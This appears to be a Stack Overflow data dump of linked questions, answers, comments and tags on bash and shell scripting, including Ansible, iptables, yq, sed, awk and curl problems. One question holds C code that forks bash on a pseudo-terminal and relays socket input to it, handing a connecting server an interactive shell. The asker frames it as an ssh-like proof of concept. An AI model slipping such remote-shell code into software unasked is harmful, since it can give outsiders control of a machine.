has body: I'm having problems when I try to run a .sh on servers via Ansible, when running the playbook, all instructions that are executed other than the loop are executed, but the loop commands are skipped When I run the shell script manually it performs the loop and all the commands correctly Here is the excerpt from my shell script code where the loop is: #!/bin/bash ... # Allow traffic IPs for IP in `cat rangeip.txt`; of sudo iptables -A INPUT -p udp --dport 37183 -s $IP -j ACCEPT done ... Now the code for my Ansible Playbook task to run the .sh: - name: exec .sh shell: /scripts/bloq.sh I'm running playbook as root Has anyone experienced something similar or know anything about this problem? I expected it to execute all instructions from my shell script
has comment: http://stackoverflow.com/comment/135930941
tagged with: shell
tagged with: linux
has title: Problem running loops in shell script via ansible
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/77111564
downvote count: 1
has comment: http://stackoverflow.com/comment/135931232
score: -1
has comment: http://stackoverflow.com/comment/135932276
type: Question
tagged with: ansible

http://stackoverflow.com/a/77111564
score: -1
downvote count: 1
answers question: http://stackoverflow.com/q/77106862
has body: It appears there is a syntax error in your script. The issue is in the for loop. You have a typo in the loop syntax, and the of keyword is not valid (should be do). Here's the corrected script: #!/bin/bash ... # Allow traffic IPs for IP in `cat &lt;absolute path of the file&gt;/rangeip.txt`; do sudo iptables -A INPUT -p udp --dport 37183 -s $IP -j ACCEPT done ...
upvote count: 0
type: Answer

http://stackoverflow.com/q/77211623
type: Question
has title: yq: Sorting a slice of an array in a YAML file
has body: Sample file.yml: --- - foo: bar bing: - bong - bang people: - { name: pin, nicknames: ['pin', 'first'] } - { name: deb, nicknames: ['deb'] } - { name: roger, nicknames: ['roger'] } - { name: kenny, nicknames: ['kenny'] } - { name: annie, nicknames: ['annie'] } I'm trying to use yq to sort people objects by name, except for pin which should stay first. Desired output: --- - foo: bar bing: - bong - bang people: - { name: pin, nicknames: ['pin', 'first'] } - { name: annie, nicknames: ['annie'] } - { name: deb, nicknames: ['deb'] } - { name: kenny, nicknames: ['kenny'] } - { name: roger, nicknames: ['roger'] } ❯ yq -V yq (https://github.com/mikefarah/yq/) version v4.31.2 I got as far as slicing and sorting but that only prints the sorted slice: ❯ yq '.[].people.[1:] | sort_by(.name)' file.yml - {name: annie, nicknames: ['annie']} - {name: deb, nicknames: ['deb']} - {name: kenny, nicknames: ['kenny']} - {name: roger, nicknames: ['roger']} Not sure how to get the rest back in, or if I'm even on the right track.
answer count: 1
tagged with: command-line
score: 0
tagged with: shell
tagged with: yaml
tagged with: slice
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77211913
tagged with: yq
accepted answer: http://stackoverflow.com/a/77211913

http://stackoverflow.com/comment/135920618
type: Comment
has text: @pjh true, I'll let the OP ask a followup question about that if they care.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77089808

http://stackoverflow.com/a/77147179
has comment: http://stackoverflow.com/comment/136002703
score: -1
answers question: http://stackoverflow.com/q/77147140
upvote count: 0
has body: You need to export the variable: export NVM_USER=foobar script: #!/usr/bin/env bash echo "string with a variable $NVM_USER" If you run this in another environment, you can create a source file: export NVM_USER=foobar then #!/usr/bin/env bash source source-file.sh echo "string with a variable $NVM_USER" $ help export export: export [-fn] [name[=value] ...] or export -p Set export attribute for shell variables. Marks each NAME for automatic export to the environment of subsequently executed commands. If VALUE is supplied, assign VALUE before exporting. Options: -f refer to shell functions -n remove the export property from each NAME -p display a list of all exported variables and functions An argument of `--' disables further option processing. Exit Status: Returns success unless an invalid option is given or NAME is invalid.
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/136002697
has comment: http://stackoverflow.com/comment/136002826
has comment: http://stackoverflow.com/comment/136002682
has comment: http://stackoverflow.com/comment/136002669

http://stackoverflow.com/comment/135955855
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77121187
has text: I tried this and the result is same as you. I also want to know the real reason. It seems that $_ is empty, so it executes the comamand "cd" directly, then the working directory is changed to /root. That's why the sample_file is created in the /root folder.

http://stackoverflow.com/comment/136155437
score: 0
comment on: http://stackoverflow.com/a/77230785
has text: I have upated the code.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77218091
answers question: http://stackoverflow.com/q/77217613
type: Answer
score: 0
has body: Your grep command is incomplete. You will need to apply your pattern against something, normally a file or from standard input. You can connect the standard output from one command to the standard input of another by piping | the two commands. For example: CPU_LINE=$(top -b -n 1 | grep "Cpu(s)") This would create the CPU_LINE variable with the data you were expecting, to then output to your file.
has comment: http://stackoverflow.com/comment/136131969
has comment: http://stackoverflow.com/comment/136129912
has comment: http://stackoverflow.com/comment/136131984

http://stackoverflow.com/comment/135929184
comment on: http://stackoverflow.com/a/77084613
type: Comment
type: AnswerComment
score: 1
has text: @GordonDavisson I am looking for the code rather than the executed content. So I want to see everything that is sourced rather than just the content that is run. I am guessing that `-x` will, yes, expand everything *that is run* but `-v` will print everything *that is defined*. Maybe I have it wrong? I haven't had a chance to test everything.

signals
type: Tag
tags question: http://stackoverflow.com/q/77115001
tag name: signals
tags question: http://stackoverflow.com/q/77260898
tags question: http://stackoverflow.com/q/77505103
tags question: http://stackoverflow.com/q/77610028
tags question: http://stackoverflow.com/q/78381184
tags question: http://stackoverflow.com/q/78774058

http://stackoverflow.com/q/77118875
has comment: http://stackoverflow.com/comment/135951547
type: Question
has answer: http://stackoverflow.com/a/77118888
tagged with: shell
has comment: http://stackoverflow.com/comment/135951566
has body: greet ! at first i want to use powershell to generate a cmd and put some command in it [CmdletBinding()] param ( [Parameter()] [string] $ParameterName ) cmd /c "start cmd /k " $ParameterName it work well when i input some prompt without space & 'C:\ex-sys\Program files\dre\dre.ps1' tasklist ,but when the prompt with space like & 'C:\ex-sys\Program files\dre\dre.ps1' 'F:\git hub\yt-dlp\yt-dlp (27).exe' it output in cmd 'F:\git' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 which mean 'F:\git' isn't command or any runable bat ,Apparently the cmd miss my quote in powershell so is there anyway i could fix this problem
score: 1
tagged with: cmd
upvote count: 1
favorite count: 0
tagged with: batch-file
tagged with: ps1
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/77122415
tagged with: powershell
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77122415
accepted answer: http://stackoverflow.com/a/77118888
has title: the powershell variable can't quote correctly in my script
has comment: http://stackoverflow.com/comment/135951508
has comment: http://stackoverflow.com/comment/135951475

http://stackoverflow.com/comment/136158197
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77233783
type: Comment
has text: Maybe you should make the function defined out of if statements (to the beginning).

http://stackoverflow.com/a/77131107
score: 0
answers question: http://stackoverflow.com/q/77093338
has body: I want to elaborate on the second question as there is already a good answer to the first question. You were quite close on the second one. If you use the update operator (|=) instead of the filter operator (|), you can get the original JSON with objects for the keys you need: FILTER: .x[] |= select(index("3") >= 0) RESULT: {"x":{"a":["2","3"],"c":["3","4"]}} Now, say, you only want the objects a and c, add the trailing .[] FILTER: .x[] |= select(index("3") >= 0) | .[] RESULT: {"a":["2","3"],"c":["3","4"]} Now, say, you only want the said keys alone (demo): FILTER: .x[] |= select(index("3") >= 0) | .[] | keys RESULT: ["a","c"]
type: Answer

mqtt
tag name: mqtt
tags question: http://stackoverflow.com/q/77188280
type: Tag

http://stackoverflow.com/q/77083852
upvote count: 1
answer count: 1
favorite count: 0
tagged with: decimal
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77083971
has comment: http://stackoverflow.com/comment/135895271
has comment: http://stackoverflow.com/comment/135890543
has comment: http://stackoverflow.com/comment/135890523
has comment: http://stackoverflow.com/comment/135890527
tagged with: hex
type: Question
tagged with: shell
score: 1
has body: I have several files named in a hex format. I'd like to mass rename them into their decimal equivalents, turning them from 0x000f750d.wav 0x000f750e.wav 0x000f750f.wav to 1013005.wav 1013006.wav 1013007.wav I've tried the following command in order to fetch the files' names in decimal and rename them, but I'm unsure how to go about it. (Note: before this command, I removed the .wav extensions from the files with the intent of readding them later to make it easier on myself.) for f in *; do mv -- &quot;$(($f))&quot; $f; done This is the result: mv: cannot stat '1013005': No such file or directory mv: cannot stat '1013006': No such file or directory mv: cannot stat '1013007': No such file or directory mv: cannot stat '0': No such file or directory
linked to: http://stackoverflow.com/q/13280131
has comment: http://stackoverflow.com/comment/135890558
accepted answer: http://stackoverflow.com/a/77083971
has title: Convert hex file names to decim
tagged with: linux
downvote count: 0
tagged with: bash

http://stackoverflow.com/a/77219057
type: Answer
score: 0
has body: Had to create a pppc profile that granted access to each folder to zsh.
answers question: http://stackoverflow.com/q/77168940
has comment: http://stackoverflow.com/comment/136132009

http://stackoverflow.com/q/77100054
tagged with: sed
has title: Replace a substring but not the entire string
score: -1
downvote count: 2
has comment: http://stackoverflow.com/comment/135918853
has answer: http://stackoverflow.com/a/77100329
tagged with: bash
linked to: http://stackoverflow.com/q/22937618
duplicate of: http://stackoverflow.com/q/14072592
duplicate of: http://stackoverflow.com/q/26850806
linked to: http://stackoverflow.com/q/26850806
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135918902
type: UnansweredQuestion
answer count: 1
has body: I have a YAML file, schema.yml, with some values ​​like: {{CODE}}-project {{CODE}}-project-start If I use REP="s/{{CODE}}-project/123-project" cat schema.yml | sed "$REP" it will replace both {{CODE}}-project and {{CODE}}-project-start. How can I replace only {{CODE}}-project occurrences but not {{CODE}}-project-start occurrences?
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135919000
has comment: http://stackoverflow.com/comment/135919565
linked to: http://stackoverflow.com/q/14072592

http://stackoverflow.com/a/77174021
type: Answer
has comment: http://stackoverflow.com/comment/136051947
has comment: http://stackoverflow.com/comment/136051920
type: AcceptedAnswer
has body: If I understand your intent, it might be simpler than you're thinking. You could potentially just use the data almost "as-is" by swapping the tabs for commas, assuming you are going to add a WHERE clause. Obviously, never update a table without a WHERE; I've added a simplistic placeholder. $: cat file employee='Scott' job='Manager' Salary=10000 location='Chicago' deptno=10 hike_in_perc=15 deptname='Accounts' employee='bob' job='peon' Salary=100 location='hell' deptno=666 hike_in_perc=1 deptname='drudgery' $: while IFS=$'\t' read -r line; do echo "UPDATE sometable SET $line WHERE somecondition='$somevalue';";done < <( tr $'\t' , < file ) UPDATE sometable SET employee='Scott',job='Manager',Salary=10000,location='Chicago',deptno=10,hike_in_perc=15,deptname='Accounts' WHERE somecondition='foo'; UPDATE sometable SET employee='bob',job='peon',Salary=100,location='hell',deptno=666,hike_in_perc=1,deptname='drudgery' WHERE somecondition='foo'; $: while IFS=$'\t' read -r line; do echo "UPDATE sometable SET ${line//$'\t'/,} WHERE somecondition='$somevalue';";done<file UPDATE sometable SET employee='Scott',job='Manager',Salary=10000,location='Chicago',deptno=10,hike_in_perc=15,deptname='Accounts' WHERE somecondition='bar'; UPDATE sometable SET employee='bob',job='peon',Salary=100,location='hell',deptno=666,hike_in_perc=1,deptname='drudgery' WHERE somecondition='bar'; If, for example, your first two fields were your condition... $: while IFS=$'\t' read -r a b new; do echo "UPDATE sometable SET ${new//$'\t'/,} WHERE $a AND $b;";done<file UPDATE sometable SET Salary=10000,location='Chicago',deptno=10,hike_in_perc=15,deptname='Accounts' WHERE employee='Scott' AND job='Manager'; UPDATE sometable SET Salary=100,location='hell',deptno=666,hike_in_perc=1,deptname='drudgery' WHERE employee='bob' AND job='peon'; For large datasets, this will be faster with awk. $: awk -F$'\t' '{printf "UPDATE sometable SET "; for(i=3;i<NF;i++)printf "%s,",$i; print $NF " WHERE " $1 " AND " $2 ";"}' file …
answers question: http://stackoverflow.com/q/77169893
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77169893
score: 1
has comment: http://stackoverflow.com/comment/136052267
upvote count: 1

http://stackoverflow.com/q/77085340
has comment: http://stackoverflow.com/comment/135893103
has body: I am writing a shell script to fire few POST curl requests. I get 400 when I use the below shell script. #!/bin/sh ENDPOINT="https://example.com:443/v1/API_NAME" BODY='{"key1": "value1", "key2": "value2"}' curl -H "Content-Type: application/json" -v -k -X POST $ENDPOINT -d $BODY But when i use the body inline it works fine as show below: curl -H "Content-Type: application/json" -v -k -X POST $ENDPOINT -d '{"key1": "value1", "key2": "value2"}' The difference in the logs as seen on terminal between both the requests is Content-Length. Somehow for 1st curl request the Content-Length is 1 which i believe is the reason of failure. Can someone help me why the content length is 1 and how to resolve this?
score: -1
has comment: http://stackoverflow.com/comment/135893106
upvote count: 0
tagged with: bash
has title: Curl POST request return 400
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/77085391
downvote count: 1
type: AnsweredQuestion
tagged with: curl
accepted answer: http://stackoverflow.com/a/77085391
type: Question
tagged with: shell

http://stackoverflow.com/q/77129361
linked to: http://stackoverflow.com/q/20306739
tagged with: bash
tagged with: quoting
has title: How can you double quote a shell variable in a command line only if the variable is set?
has answer: http://stackoverflow.com/a/77129362
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77129362
has body: I need to execute a bash command where, only if a variable is set, I want to include that variable on the command line. The trick is that the variable could have a space in it, and the variable must be passed as a single argument. The following command will not do the correct thing if foo is unset (but will if it is set), it will pass the command bar an empty argument since $FOO is not set but is double quoted. FOO="" bar "$FOO" The following command fixes the flaw of $FOO being unset, but adds the flaw of passing two arguments if $FOO has a space in it. FOO="one two" bar $FOO I tried using bar ${FOO+"}$FOO${FOO+"} but while it stuck quotes on there, it still passed two arguments. I imagine that if using eval with sufficiently convoluted quoting of all of the other arguments (not listed here) that would be impossible to get right without a lot of testing, the problem could also be solved. Obviously you could say if [ "$Z" ]; then bar "$Z"; else bar; fi but this does not scale. What is the best way to accomplish this?
accepted answer: http://stackoverflow.com/a/77129524
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/77129524
has comment: http://stackoverflow.com/comment/135971011
answer count: 2

http://stackoverflow.com/a/77082675
accepted answer of: http://stackoverflow.com/q/77082632
has comment: http://stackoverflow.com/comment/135888664
type: Answer
answers question: http://stackoverflow.com/q/77082632
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1
has body: Use process substitution instead of a pipe: #!/bin/bash LIST_OF_FILES=() while IFS= read -r -d '' file do # do some stuff # at the end LIST_OF_FILES+=("$file") done < <(find . -name '*.[hc]' -print0) echo "${LIST_OF_FILES[@]}" That way, the assignment stays in the current shell.

http://stackoverflow.com/comment/135958019
comment on: http://stackoverflow.com/a/77122648
type: Comment
type: AnswerComment
score: 0
has text: @user56834 That's probably better explained as separate question or in the subprocessing documentation. But TL;DR: what you probably want is passing `capture_output=True` and `text=True` to `subprocess.run`. Then just access the `stdout` attribute to the returned completed process object.

http://stackoverflow.com/q/77164954
tagged with: common-workflow-language
has comment: http://stackoverflow.com/comment/136034800
has title: Adding retry to shell script
type: Question
has comment: http://stackoverflow.com/comment/136035022
tagged with: shell
linked to: http://stackoverflow.com/q/11710552
answer count: 1
has comment: http://stackoverflow.com/comment/136034099
has answer: http://stackoverflow.com/a/77166393
has body: My goal is to increase the number of retries for this fastq validation which at times fails due to network issues, although there is data for the given NCBI SRA id, but it fails. So I need to increase the retry at least 5 times before aborting. How do I do the same? set -x PS4='[\\d \\t] ' # Check parameter for error check=0 # Print fastq-dump executable path echo \$(which fastq-dump) # Loop through all parameters to check validity for file in \$@; do cp \${file} . # Extract filename for sampleID file_basename=\$(basename \${file}) id=\${file_basename%".id"} # Start validation echo "Checking \${id}..." # Download start of fastq fastq-dump $(get_ngc()) -X 1 -Z --split-spot \${id} > \${id}.test.fastq 2> \${id}.test.log # Get number of lines downloaded to valildate for error numLines=\$(cat \${id}.test.fastq | wc -l) if [ \$numLines -gt 0 ]; then echo "\${id} has data... OK" else echo "\${id} does not have data... ERROR" check=1 fi done # Exit with error if some fastqs not accessible if [ \$check -gt 0 ]; then echo "ERROR: One or more samples have inaccessible fastqs.. exiting" exit 1 fi
score: 0
has comment: http://stackoverflow.com/comment/136034648
accepted answer: http://stackoverflow.com/a/77166393
linked to: http://stackoverflow.com/q/10067266
tagged with: ncbi
has comment: http://stackoverflow.com/comment/136035016
tagged with: fastq
type: AnsweredQuestion

http://stackoverflow.com/comment/135919220
score: 0
has text: @Fravadona what would be the best workaround? Go in and unfortunately set up more things as hardcoded?
type: QuestionComment
comment on: http://stackoverflow.com/q/77100241
type: Comment

http://stackoverflow.com/comment/135982283
score: 0
type: QuestionComment
has text: There are two spaces after your backslash in the second line (see comment by Diego)
type: Comment
comment on: http://stackoverflow.com/q/77135598

http://stackoverflow.com/a/77190899
has body: Expansions in double-quoted strings are run by your local shell, before xargs is started. This means that values introduced by xargs cannot be used in those expansions, because xargs hasn't yet been run! That is to say, when you run: echo "my_bash_function" | xargs -I{} bash -vc "$(declare -f {})" your shell first runs declare -f {} which (in bash 5.2.15) emits no output at all. Consequently, it's replaced with: echo "my_bash_function" | xargs -I{} bash -vc '' ...which, as one might expect, does nothing useful.
score: 3
answers question: http://stackoverflow.com/q/77190844
downvote count: 0
upvote count: 3
type: Answer

http://stackoverflow.com/q/77149495
tagged with: bash
type: UnansweredQuestion
favorite count: 0
downvote count: 1
tagged with: awk
tagged with: sed
has title: copy a string with special chars from a file, into another file after a keyword
type: Question
has answer: http://stackoverflow.com/a/77149598
has body: i have a file that contains a random string value with special chars, i need to copy that content and paste it in another file right after the keyword "echo". Here is the script: #!/bin/bash sudo systemctl stop zpa-connector sudo touch /opt/zscaler/var/provision_key sudo chmod 644 /opt/zscaler/var/provision_key sudo echo | tee /opt/zscaler/var/provision_key cat /opt/zscaler/var/provision_key sudo systemctl start zpa-connector Example expected result: #!/bin/bash sudo systemctl stop zpa-connector sudo touch /opt/zscaler/var/provision_key sudo chmod 644 /opt/zscaler/var/provision_key sudo echo 'azd516/*651az654daz[#lc,nzpmoa156' | tee /opt/zscaler/var/provision_key cat /opt/zscaler/var/provision_key sudo systemctl start zpa-connector How can i achieve that? Thanks for your help Side question: i dont know if the content pasted after the echo should be in double or simple quotes
answer count: 1
score: -1
upvote count: 0
tagged with: shell
tagged with: linux

http://stackoverflow.com/comment/136103160
comment on: http://stackoverflow.com/q/77203420
has text: One bizarre, but possible, solution would be to write a zsh `precmd`, which is executed before the command itself is run. This precmd could check the command name, use `file` on it to make a guess of whether it is a shell script, and if it is, it could change the permissions. Not that I would **recommend** doing it, but I find your hole idea horrible.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/77089808
has comment: http://stackoverflow.com/comment/135919700
answers question: http://stackoverflow.com/q/77089730
has comment: http://stackoverflow.com/comment/135920618
score: 1
downvote count: 0
has body: You should want your output to contain echo "$new_text", not echo $new_text, see https://mywiki.wooledge.org/Quotes: $ cat tst.sh #!/bin/bash year=2020 text="the year is: " cat << EOF > inside_file.sh #some lines here new_text='${text}${year}' echo "\$new_text" # some lines here EOF $ ./tst.sh $ cat inside_file.sh #some lines here new_text='the year is: 2020' echo "$new_text" # some lines here
upvote count: 1
type: Answer

http://stackoverflow.com/a/77204754
type: AcceptedAnswer
has body: Instead of grep, have you considered sed? Given your sample input file, this command... sed -n '/^URL=/ s/.*=//p' myfile.txt Produces as output: http://example.com Or maybe awk: awk -F= '/^URL=/ {print $2}' myfile.txt The problem with grep in this instance is that it's primarily a tool for returning matched lines; it's not really meant for performing transformations on those matches. The -o option is an interesting idea, but there's not really anyway to restrict it to match only the part after the = unless you prefilter the input like this: grep '^URL=' myfile.txt | grep -o '[^=]*$'
answers question: http://stackoverflow.com/q/77204735
has comment: http://stackoverflow.com/comment/136106727
upvote count: 3
type: Answer
downvote count: 0
score: 3
accepted answer of: http://stackoverflow.com/q/77204735

http://stackoverflow.com/q/77231881
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/c
score: 1
has comment: http://stackoverflow.com/comment/136156465
has comment: http://stackoverflow.com/comment/136155526
has comment: http://stackoverflow.com/comment/136156932
has comment: http://stackoverflow.com/comment/136156026
has comment: http://stackoverflow.com/comment/136155456
has comment: http://stackoverflow.com/comment/136156451
type: Question
answer count: 0
tagged with: shell
tagged with: linux
has title: How to turn a pty shell into a remote shell?
downvote count: 0
has comment: http://stackoverflow.com/comment/136155218
has comment: http://stackoverflow.com/comment/136155422
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136156040
has comment: http://stackoverflow.com/comment/136156033
has comment: http://stackoverflow.com/comment/136156052
has body: I am trying to implement a remote shell POC similar to ssh without the decryption that supports interactive usage and authentication with sudo here is the client part int main() { /* created client socket and connected to the server */ // Create pseudo terminal if (openpty(&master, &slave, NULL, NULL, NULL) != 0) { perror("failed to find pseudo terminal"); close(client_socket); return -1; } // fork process pid_t pid = fork(); if (pid < 0) { perror("failed to fork process"); close(client_socket); return -1; } else if (pid == 0) { close (master); setsid(); ioctl(slave, TIOCSCTTY, 0); dup2(slave, STDIN_FILENO); dup2(slave, STDOUT_FILENO); dup2(slave, STDERR_FILENO); execl("/bin/bash", "/bin/bash", NULL); perror("failed to start bash shell"); } else { close(slave); while(1) { ibytes = read(client_socket, buffer, sizeof(buffer)); if (ibytes) { obytes = write(STDIN_FILENO, buffer, ibytes); printf("%ld>%s<", obytes, buffer); } } int status; waitpid(pid, &status, 0); close(master); } close(client_socket); return 0; } as the server int main() { /* created server socket, binded, listening */ while (1) { addr_size = sizeof(client_addr); client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &addr_size); if (client_socket > 0 ) { printf("New client connection \n"); } bytes = read(STDIN_FILENO, buffer, sizeof(buffer)); if (bytes) write(client_socket, buffer, bytes); bytes = read(client_socket, buffer, sizeof(buffer)); if (bytes) { write(STDOUT_FILENO, buffer, bytes); printf("%s", buffer); } } close(server_socket); close(client_socket); return 0; } The goal is to be able to use this shell from the server to use programs such as nano, vim and be able to elevate using sudo.

http://stackoverflow.com/q/77185980
tagged with: shell
score: -3
has comment: http://stackoverflow.com/comment/136072035
has comment: http://stackoverflow.com/comment/136075768
has title: How to split the array elements in bash script?
has answer: http://stackoverflow.com/a/77186389
possible better answer: http://stackoverflow.com/a/77187208
downvote count: 3
accepted answer: http://stackoverflow.com/a/77186389
tagged with: arrays
answer count: 2
has comment: http://stackoverflow.com/comment/136072197
upvote count: 0
tagged with: bash
has body: In bash scripting, I have an array say arr=("element1" "element2" "element3"). How to print the output as element 1 element 2 element 3 So,How to add spaces between strings and digits for each array element?
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77187208
has comment: http://stackoverflow.com/comment/136072132
has comment: http://stackoverflow.com/comment/136072121
type: Question

http://stackoverflow.com/comment/136110212
type: QuestionComment
comment on: http://stackoverflow.com/q/77204604
has text: Stack Overflow is specifically focused on "practical, answerable" questions. Prioritizing terseness (one line) over readability, portability, robustness, maintainability, etc is inherently impractical.
type: Comment
score: 3

http://stackoverflow.com/comment/135918902
comment on: http://stackoverflow.com/q/77100054
type: Comment
score: 0
has text: See: [The Stack Overflow Regular Expressions FAQ](https://stackoverflow.com/a/22944075/3776858)
type: QuestionComment

http://stackoverflow.com/comment/136030678
has text: This is definitely better / more conventional form. That said, a newline conditionally acts as a command separator if it's in a place where it's legal to have one, so the OP's original code should have worked too.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77162746
score: 2

http://stackoverflow.com/q/77217613
has comment: http://stackoverflow.com/comment/136129969
has comment: http://stackoverflow.com/comment/136132019
tagged with: cpu-usage
score: 0
tagged with: shell
has body: I am new to shell scripts. I wrote below script to save 'top' command's output into files: cpu.csv and mem.csv. But the files were not created. Any error in my script below: #!/bin/bash TIMESTAMP=$(date +"%Y-%m-%d-%H:%M:%S") top -b -n 1 & CPU_LINE=$(grep "Cpu(s)") MEM_LINE=$(grep "KiB Mem") echo "$TIMESTAMP,$CPU_LINE" >> cpu.csv echo "$TIMESTAMP,$MEM_LINE" >> mem.csv I expect to see the 'top' command's "Cpu(s)" line been saved into cpu.csv file with the timestamp up front.
has answer: http://stackoverflow.com/a/77218091
has answer: http://stackoverflow.com/a/77222077
has comment: http://stackoverflow.com/comment/136136995
has title: save 'top' cpu/mem out put into files
has comment: http://stackoverflow.com/comment/136129919
has comment: http://stackoverflow.com/comment/136129932
answer count: 2
has comment: http://stackoverflow.com/comment/136144815
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/136128838
type: UnansweredQuestion

http://stackoverflow.com/q/77162327
has comment: http://stackoverflow.com/comment/136051311
has answer: http://stackoverflow.com/a/77162746
has comment: http://stackoverflow.com/comment/136029734
has comment: http://stackoverflow.com/comment/136030532
tagged with: shell
tagged with: bash
answer count: 1
score: 0
has title: "Syntax error near unexpected token 'then'."
has comment: http://stackoverflow.com/comment/136029843
has body: while true do # Subscribe to relevant topics mosquitto_sub -h 192.168.1.37 -t "0_0" -t "0_1" | while read -r topic do # This is a callback to be executed every time a client subscribes to a topic echo "Client subscribed to ${topic}" # Check the topic and redirect the subscription if $topic == "0_0" then mosquitto_sub -h 192.168.30 -t $topic elif $topic == "0_1" then mosquitto_sub -h 192.168.25 -t $topic fi done sleep 10 # Wait 10 seconds until reconnection done I've tried to comment "then" by putting "#" in both lines. after that i've received another error: "Syntax error near unexpected token 'elif'."
type: Question
accepted answer: http://stackoverflow.com/a/77162746
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136029669
has comment: http://stackoverflow.com/comment/136029932

cookies
type: Tag
tags question: http://stackoverflow.com/q/77090236
tag name: cookies
tags question: http://stackoverflow.com/q/77332277

http://stackoverflow.com/comment/136093812
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77198302
type: Comment
has text: And `PATH` should contain the **directory** that `java.exe` is in, not the path of the java.exe file itself.

http://stackoverflow.com/comment/135911668
comment on: http://stackoverflow.com/q/77095520
type: QuestionComment
type: Comment
has text: yes, I tried with that, error I am getting is can't open file '/absolute path/to/file/myfile.py': [Errno 1] Operation not permitted. How can this be solved, I checked permission, its, -rwxr--r, it seems when crontab invokes this Shell script the permission is not allowed, else if I run the shell script from terminal it runs without error
score: 0

http://stackoverflow.com/q/77156311
type: UnansweredQuestion
tagged with: unix
has comment: http://stackoverflow.com/comment/136019086
downvote count: 1
has comment: http://stackoverflow.com/comment/136019102
score: -1
has comment: http://stackoverflow.com/comment/136019809
has answer: http://stackoverflow.com/a/77158108
tagged with: linux
has comment: http://stackoverflow.com/comment/136018967
tagged with: bash
answer count: 1
favorite count: 0
has body: I've a CSV file which is of huge size and I want to split in into multiple files based on the size. For example I've a CSV file with the name TEST-REPORT-YYYYMMDDHHMMSS.CSV which is of size 150MB I want to split that file into multiple files by size which is 5MB. It means after the split we'll get 30 Files. I need the output file name as TEST-REPORT-[SEQUENCE]-YYYYMMDDHHMMSS.CSV SEQUENCE = 1,2,3,4,...... I've tried this split -d -a3 -b 5M --additional-suffix=.csv sample.csv test_ and the split is working fine perfectly but only the first file contains the header(3 line) but I need it in all the files which are generated after the split After the split we need to persist the header
has comment: http://stackoverflow.com/comment/136018880
has comment: http://stackoverflow.com/comment/136019018
type: Question
tagged with: shell
has title: Split larger CSV file into multiple files based on the size in linux
upvote count: 0

http://stackoverflow.com/q/77158416
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/136022743
type: UnansweredQuestion
has body: I'm working on a shell script that creates a listing of files based on the filename, but I need to use a specified range using brackets. Eg. {30..35} Somehow the shell script doesn't accept the brackets in the command, as a example of my script: InicialMin=$(date -d "-5 minutes" +%M) FinalMin=$(date +%M) MinRange="${MinInicial}..${MinFinal}" # Outputs for example 30..35 Results=$(ls -lrth /path/to/my/directory/SOMEFILES_20230922{$MinRange}.log | wc -l) echo "Files found: ${Results}" When I execute the command line in shell, it works fine: ls -lrth /path/to/my/directory/SOMEFILES_20230922{35..40}.log | wc -l 153 But when I execute my shel script with the command inside, it says: ls: cannot access /path/to/my/directory/SOMEFILES_20230922{35..40}.log: No such file or directory I need do the listing based on the filename, not on modification time (find). I've tryed all sorts of escaping the "{}" characters on the script, and it did not work. Is there anyway to execute the following command inside a shell script? ls -lrth /path/to/my/directory/SOMEFILES_20230922{$MinRange}.log Tries: Results=$(ls -lrth /path/to/my/directory/SOMEFILES_20230922\{$MinRange\}.log | wc -l) Results=$(ls -lrth /path/to/my/directory/SOMEFILES_20230922'{'$MinRange'}'.log | wc -l) Results=$(ls -lrth /path/to/my/directory/SOMEFILES_20230922{{$MinRange}}.log | wc -l)
has comment: http://stackoverflow.com/comment/136022576
tagged with: variables
upvote count: 2
tagged with: brackets
has title: Linux shell script command variable with brackets for range selection
downvote count: 0
has answer: http://stackoverflow.com/a/77159532
answer count: 1
favorite count: 0
score: 2
tagged with: range

http://stackoverflow.com/a/77302348
accepted answer of: http://stackoverflow.com/q/77216250
downvote count: 0
has body: Turns out, this problem was solved after updating Godot 4.1.1 to 4.1.2. I still cannot fully explain what caused the problem in the first place, but it got fixed in the update.
type: AcceptedAnswer
score: 1
answers question: http://stackoverflow.com/q/77216250
upvote count: 1
type: Answer

http://stackoverflow.com/comment/136132841
has text: if you really want to convert to September, perhaps: `date -d "Sat Apr 27 11:33:57 CST 2024 + 5 months" +"%Y/%m/%d"`
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77219500
type: Comment

http://stackoverflow.com/comment/136133559
comment on: http://stackoverflow.com/q/77219500
type: Comment
type: QuestionComment
has text: then you are using a version of `date` that doesn't understand this extension. you can explicitly specify the path to GNU date or some other version that understand it, or you'll need to find a different tool
score: 1

http://stackoverflow.com/comment/136045684
score: 0
has text: And also can you please explain in brief what's the above command will do step by step
type: Comment
comment on: http://stackoverflow.com/a/77171386
type: AnswerComment

http://stackoverflow.com/q/77184696
has comment: http://stackoverflow.com/comment/136069761
upvote count: 1
has comment: http://stackoverflow.com/comment/136070032
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77184718
has comment: http://stackoverflow.com/comment/136069788
has comment: http://stackoverflow.com/comment/136069927
has comment: http://stackoverflow.com/comment/136069756
